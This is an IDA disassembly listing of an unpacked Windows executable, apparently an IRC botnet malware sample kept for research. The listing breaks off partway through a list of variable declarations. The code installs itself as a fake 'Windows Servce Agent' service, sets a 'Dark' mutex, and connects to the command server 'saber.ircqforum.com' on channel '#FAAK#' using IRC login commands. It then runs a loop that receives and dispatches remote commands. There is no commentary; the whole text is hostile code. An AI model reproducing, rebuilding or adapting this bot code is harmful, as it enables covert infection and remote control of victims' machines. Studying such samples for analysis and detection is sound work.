; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1529780C61BBAC5DCBE9BAB8A0B726AD ; File Name : u:\work\1529780c61bbac5dcbe9bab8a0b726ad_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF58 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAFC8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAF08 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF80 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEEC call dword_4CB03C call sub_40B2BF call dword_4CAEFC call dword_4CAEFC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D158 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 266091Fh lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2660000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2650C14h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D150 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACE0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACE4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB050 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2680000h push eax nop call near ptr 2670D84h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAF14 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 266091Fh lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2670C94h push eax call near ptr 2660000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293F4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293EC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2670B81h cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2670AA6h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 267064Ch cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2660D05h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2670AA6h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D158 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 26705BCh nop push eax push esi push 100000h nop call near ptr 2670101h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293E0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2650C14h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2660D05h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAEFC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB2C4, 2 jle short loc_401562 mov eax, dword_4DB2C8 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2670D84h push esi nop call near ptr 26508C8h mov eax, dword_4DB2C8 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2660D05h mov eax, dword_4DB2C8 push dword ptr [eax+8] nop call near ptr 2670000h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB074, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_4293C4 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D160 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_4293A0 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_401622 nop call near ptr 267064Ch push eax lea eax, [ebp-0A0h] push offset unk_429360 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429334 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_40169A nop call near ptr 267064Ch push eax lea eax, [ebp-0A0h] push offset dword_429300 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC mov dword_4CAE58, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD6C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CADAC push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE40, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACE8 mov dword_4CAE54, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE54, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2660D05h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACEC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAEFC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAFA4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEF8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB024 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEEC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB03C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2660D05h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293FC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB03C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE50, bl jz short loc_40199A push offset byte_4CAE50 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB03C push 1388h call near ptr 2660D05h nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAFBC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2660D05h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h 